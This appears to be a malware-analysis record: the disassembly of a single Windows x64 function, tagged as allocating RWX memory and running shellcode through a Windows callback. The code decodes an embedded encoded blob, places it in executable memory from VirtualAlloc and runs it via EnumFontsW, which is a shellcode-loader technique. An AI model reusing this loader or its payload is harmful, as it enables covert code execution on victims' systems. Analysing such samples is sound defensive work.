Function at 0x1400040b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 0x11], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movups xmm0, xmmword [str.i_WQtYY9T7_2WH]
movups xmmword [rbp + 0x37], xmm0
movzx eax, byte [0x140039698]
mov byte [rbp + 0x47], al
movups xmm0, xmmword [str.h:aH__K_B___ug]
movups xmmword [rbp - 0x29], xmm0
movzx eax, byte [0x1400396b0]
mov byte [rbp - 0x19], al
movdqa xmm0, xmmword [0x14003a0d0]
movdqu xmmword [rbp + 0x27], xmm0
mov byte [rbp + 0x17], 0
mov r8d, 0x9ac
lea rdx, str.0GCUqzygu3j6ZaVSoncr_w4ligFmd9kEYqrt5DZhQhLoXprQJ7EUq_Ncy018WAsnXg0sB9Ohia6yBhHJ_XLCT4RrN6hzFKoo3EE7PqtLxXZ2lrMMGZjRH5rUKfSaIUelsrmgWqKwqZ8TU5EjAn4yNXWHz4JlKnDLjSb4o5YMCt6uRyHL7MK4D2fHiVZnkKz5UqmhDmLpDMeDnzZcyqbUJAQoPwekNxnGEA48bBidDy65R4Ai6WValXlP8tXVaND1Z2xHLmBpvlKV5HjGb8_bJtxHpzpr2BsLv1lVwKPMTrrfK5rheKcCBa8HhfN03gJUU9_3xJadEc6NVk8SwbjofbG5ZVDpMGyEE6n56TVWimDOK70e9PTwQObjlsGL7bOcu7p8lKYC4gjQZ5V2KSId51n8vIToYinjRDUzK3RzKRvjsKZpKzxYahw4DpxXjsKDJHsixhbymEOGkspI4D83wgT4pQx8M_4s5OobIFrfC3BL748VcXwX3Sf0qdpjLNsMqepZL3KP7s8_E6paqwb4aZBJUuqlgv_syllefJJje9ebMXYq8vNIt9jnMiUkcR400uXwmB9rjbPROKw5zy6J2QTDHaCS1lVXckuxIcYXQ5ELJDrrsW4CVjFp4QWvoZ06cWGUvTbONejsyyA_ZOxiyXAvwuDX2ltRl81iu9iQUuk_sCM6bEUVfneK8zch6bi8V5e7LKjt96JtwxHZNWJd2LLEQNR9a3kDvWQH4x26ex46b_tPVp_8ZJrEVtIpCberexOcpEN8iVYlc4AEhhOArdzPDtXPxKY6OOYOpXGXqUnxjfgJ1j4nzukXWeiELqra13noBBEYX3pl1Y7UT2F9bRti0dLHkOvdiC4kKpntc4caZatppUscjSILHLDwwPZ58oubJz6iTvUkmFHTqkP38XGW5JYrtQxSEnlWGHsE9z5ena7wHhENuNhkB9w46LSPaKOzNR4R7inrOR3iBLo4W3RjbtkdJED8ZtBR3OH3si5bwuz0GvsgBQOBjuDrSi9JepLPEXecFu7rKvOoeI55JMxY3pXH1iJ3gPJmF0SQR2w3GWbPobQvnE2WXhk5lfigUgPr_m1r8EH2SR8SCTm4u95tJXyX4TWlxaLX0bpSOD9iGjY2hr7OM0yE9xWaKYsK65qys82FVEQMmXJQYGNn23SfhpgJFxsPHr8Hc2uO2iEUORRUJ4hF7EEFhXzb6jlTgpKtPXo4NgeV_Mni5MPZ6JMbdBiSQD2XIqHWtt4UW1C4A88j6jd5nT2cCbAGDFAv6rvTyis53sLpw1Vb_MhJ1xHlJP1vE9b6LZWJ3c2OvuQa4V8zvCbkj5v6tb5VfII3P38ApVV7Qka6xI7M4GE4jvq_r6tDPUfgTUJkd9C1HzzenKJEWwwCRyK0lqMgDyr8XXyb6i2nQ5oL2jcU4EHJCgOfiJ2f7nkaSSrHdSV4NdyUXEbjz45ahveYQdB1cQCqo__rjojRk_Xj006IXdhbDcvcqZyN7Y_cfaNKccKVQOmxwKm8HV8qIUwgpYiO1j3sPK2LXPwYQJG6EwOgImLuZ0JnkafLX0aQdxpBZpEZ700if3WT4wOueHl6CUF2h5XpuT46b98qtmkoi_HPQEHncBu0EavMl0NRA5A1bK6lcYtbJ6Z0v09yMwBYqMzzPnhpDRVDtdSEv9cAf2VC6PUrsCKG_RhnrKbM11wpHGgMvafbId4to_GOEHZ1xAVSRnIi9vwfPc2G7ZBwSeSPvCsppgYBjxX46seRFNT0ZYF1C0w7dQGKlFsrHQs9bjMoptBhKBFeEDmz2SfzhqFys6C3WYscs7UiTZdHGn7bv6dlsR4D8wag1qw5O70_uYUYqnG7dBDaIBRDU2k_dCSljr_GgNiknfcp3by3HjtclKb_TDsOVnFUyw6Xot2GhYmiTjOeaEGpihWiRkgDDLUCrbjiv4wyQKPgwrjpoTv27QogygLGuJVTXRFIEHDHIPE01z_UxAXWBdgq5QQOMUanOz_IHoVFcb5wenQLQPDAQejLCt4dNika2AW9SWd7TfNSpVgZ5GKDFy_nXrRS6aoZ5NPqGVIVfAdYiWXQcwA6Ip4GtuBRTYYm8OrJlNeCNPSnulBRl0rOzB9eCcxQ6_3DLZmkwxLHtfKyVY4ZovJbqxf3dO_Dc939K985hx0xdFR1RvwNEkk6dSCqNZWPqFbA1GpVdo1HwaeiKMMhgExkVuXrsUuN_iTfT4Rdn3iPVEAirwncDUsUudwMTQvyhnqAP7EE6r_gU3Ip4e6NGe9r628yc_pGVG4zqms9rXi6AzWvpI125Hw09oedh_NJnXWEpONuGvjat5tIx8fILFGlRWxSI45YnCtQMapx1vJOQFKYNgDFjGpiMPiPT3xBMSrA2i2iet5OX8klNeOEA19Y0pF7ePawfMAe06_xx21_nq8lM
lea rcx, [rbp + 0x17]
call fcn.140003330
nop
lea r9, [rbp - 0x29]
lea r8, [rbp + 0x37]
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 9]
call fcn.140002a10
lea rdi, [rbp - 9]
cmp qword [rbp + 0xf], 0x10
cmovae rdi, qword [rbp - 9]
mov rcx, qword [rbp + 7]
shr rcx, 1
mov edx, 1
call fcn.14000af28
mov rsi, rax
xor ebx, ebx
mov rcx, qword [rbp + 7]
test rcx, 0xfffffffffffffffe
jbe 0x1400041a9
nop dword [rax]
lea r8, [rbx + rsi]
lea rdx, str._02x
mov rcx, rdi
call fcn.140004050
add rdi, 2
inc rbx
mov rcx, qword [rbp + 7]
mov rax, rcx
shr rax, 1
cmp rbx, rax
jb 0x140004180
shr rcx, 1
movsxd rbx, ecx
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.140008a90
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
xor r9d, r9d
mov r8, rdi
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov rdx, qword [rbp + 0xf]
cmp rdx, 0x10
jb 0x140004227
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004222
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000429f
call fcn.140007014
mov qword [rbp + 7], 0
mov qword [rbp + 0xf], 0xf
mov byte [rbp - 9], 0
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0x10
jb 0x140004272
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000426d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004299
call fcn.140007014
xor al, al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140006ff0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14000b31c
nop
call fcn.14000b31c
nop
int3